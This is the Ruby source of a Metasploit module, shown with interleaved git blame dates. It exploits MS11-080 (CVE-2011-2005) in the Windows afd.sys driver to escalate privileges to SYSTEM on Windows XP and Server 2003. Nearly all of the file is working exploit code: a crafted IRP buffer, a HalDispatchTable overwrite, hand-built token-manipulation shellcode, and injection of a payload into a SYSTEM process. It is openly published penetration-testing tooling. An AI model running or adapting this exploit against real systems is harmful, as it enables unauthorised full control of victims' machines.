Files
metasploit-gs/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb
T

220 lines
7.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/local/windows_kernel'
2017-07-14 08:46:59 +01:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2013-09-05 13:41:25 -05:00
Rank = AverageRanking
# Average because this module relies on memory corruption within the
# kernel, this is inherently dangerous. Also if the payload casues
# the system process that it was injected into to die then it's also
# possible that the system may become unstable.
include Msf::Exploit::Local::WindowsKernel
2013-09-05 13:41:25 -05:00
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
2013-09-05 13:41:25 -05:00
def initialize(info = {})
2013-09-05 13:41:25 -05:00
super(update_info(info, {
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
'Description' => %q(
2013-09-05 13:41:25 -05:00
This module exploits a flaw in the AfdJoinLeaf function of the
afd.sys driver to overwrite data in kernel space. An address
within the HalDispatchTable is overwritten and when triggered
with a call to NtQueryIntervalProfile will execute shellcode.
This module will elevate itself to SYSTEM, then inject the payload
2017-09-13 22:03:34 -04:00
into another SYSTEM process before restoring its own token to
2013-09-05 13:41:25 -05:00
avoid causing system instability.
),
2013-09-05 13:41:25 -05:00
'License' => MSF_LICENSE,
'Author' =>
[
'Matteo Memelli', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ARCH_X86],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
2013-09-05 13:41:25 -05:00
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
2013-09-05 13:41:25 -05:00
},
'Targets' =>
2013-09-05 13:41:25 -05:00
[
['Automatic', {}],
['Windows XP SP2 / SP3',
2013-09-05 13:41:25 -05:00
{
'HaliQuerySystemInfo' => 0x16bba,
'HalpSetSystemInformation' => 0x19436,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
],
['Windows Server 2003 SP2',
2013-09-05 13:41:25 -05:00
{
'HaliQuerySystemInfo' => 0x1fa1e,
'HalpSetSystemInformation' => 0x21c60,
'_KPROCESS' => "\x38",
'_TOKEN' => "\xd8",
'_UPID' => "\x94",
'_APLINKS' => "\x98"
}
]
2013-09-05 13:41:25 -05:00
],
'References' =>
2013-09-05 13:41:25 -05:00
[
%w(CVE 2011-2005),
%w(OSVDB 76232),
%w(EDB 18176),
%w(MSB MS11-080),
%w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/)
2013-09-05 13:41:25 -05:00
],
'DisclosureDate' => 'Nov 30 2011',
2018-10-27 20:54:14 -04:00
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS, ],
},
2013-09-05 13:41:25 -05:00
}))
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid('S-1-5-18')
2013-09-05 13:41:25 -05:00
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
2013-09-05 13:41:25 -05:00
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p['name'])
next if p['pid'] == session.sys.process.getpid
next if p['pid'] == 4
next if p['user'] != system_account_name
2013-09-05 13:41:25 -05:00
return p
end
end
def exploit
2016-10-29 08:11:20 +10:00
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
2013-09-05 13:41:25 -05:00
end
mytarget = target
if mytarget.name =~ /Automatic/
os = sysinfo['OS']
mytarget = targets[1] if os =~ /windows xp/i
mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i)
if (os =~ /\.net server/i) && (os =~ /service pack 2/i)
2013-09-05 13:41:25 -05:00
mytarget = targets[2]
end
if mytarget.name =~ /Automatic/
print_error('Could not identify the target system, it may not be supported')
2013-09-05 13:41:25 -05:00
return
end
print_status("Running against #{mytarget.name}")
end
if is_system?
print_error('This meterpreter session is already running as SYSTE')
2013-09-05 13:41:25 -05:00
return
end
this_proc = session.sys.process.open
base_addr = 0x1001
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
2013-09-05 13:41:25 -05:00
socket = result['return']
irpstuff = rand_text_alpha(8)
irpstuff << "\x00\x00\x00\x00"
irpstuff << rand_text_alpha(4)
irpstuff << "\x01\x00\x00\x00"
irpstuff << "\xe8\x00\x34\xf0\x00"
2013-09-05 13:41:25 -05:00
irpstuff << rand_text_alpha(231)
unless this_proc.memory.writable?(0x1000)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
2013-09-05 13:41:25 -05:00
end
unless this_proc.memory.writable?(0x1000)
2013-09-05 13:41:25 -05:00
print_error('Failed to properly allocate memory')
return
end
this_proc.memory.write(0x1000, irpstuff)
haldispatchtable = find_haldispatchtable
return if haldispatchtable.nil?
2013-09-05 13:41:25 -05:00
halbase = find_sys_base('hal.dll')[0]
hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo']
hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation']
print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}")
print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}")
2013-09-05 13:41:25 -05:00
#### Exploitation ####
shellcode_address_dep = 0x0002071e
2013-09-05 13:41:25 -05:00
shellcode_address_nodep = 0x000207b8
padding = make_nops(2)
backup_token = 0x20900
2013-09-05 13:41:25 -05:00
restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V')
restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V')
restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V')
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V')
2013-09-05 13:41:25 -05:00
restore_token = "\x52"
restore_token << "\x33\xc0"
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
restore_token << "\x8b\x15" + [backup_token].pack('V')
2013-09-05 13:41:25 -05:00
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
restore_token << "\x5a"
restore_token << "\xc2\x10"
shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token)
2013-09-05 13:41:25 -05:00
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
this_proc.memory.protect(0x00020000)
addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV')
2013-09-05 13:41:25 -05:00
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
if result['return'] != 0xffffffff
print_error('The socket is not in the correct state')
2013-09-05 13:41:25 -05:00
return
end
print_status('Triggering AFDJoinLeaf pointer overwrite...')
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
2013-09-05 13:41:25 -05:00
unless is_system?
print_error('Exploit failed')
2013-09-05 13:41:25 -05:00
return
end
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
unless execute_shellcode(payload.encoded, nil, proc['pid'])
print_error('An error occurred while executing the payload')
2013-09-05 13:41:25 -05:00
end
# Restore the token because apparently BSODs are frowned upon
print_status('Restoring the original token...')
2013-09-05 13:41:25 -05:00
shellcode = padding + restore_ptrs + restore_token
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
2013-09-05 13:41:25 -05:00
end
end